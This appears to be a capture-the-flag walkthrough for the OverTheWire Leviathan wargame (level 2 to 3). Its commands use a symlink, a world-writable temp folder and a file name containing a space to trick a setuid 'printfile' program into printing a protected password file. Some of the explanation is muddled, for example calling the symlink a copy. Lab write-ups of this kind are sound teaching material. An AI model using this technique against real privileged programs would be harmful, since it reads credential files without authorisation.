🌊 Leviathan Level 2 → Level 3

ssh leviathan2@leviathan.labs.overthewire.org -p 2223
leviathan2_password

Once we listed the directory with ls, we noticed a file called printfile and ran it.

ls -la
./printfile
./printfile /etc/leviathan_pass/leviathan3

Next, we created a temporary folder and copied the leviathan3 file into it.

mktemp -d
cd /tmp/tmp.HryDHvGNAn
ln -s /etc/leviathan_pass/leviathan3
chmod 777 .

After that, we created a file named leviathan3 trick (with a space) to fool the printfile program, and it worked.

echo 123 > "leviathan3 trick"
~/printfile leviathan3\ trick

Here’s another example demonstrating how the printfile program works.

echo trick123 > trick
~/printfile "leviathan3 trick"

Awesome! Use this flag to move on to the next level.
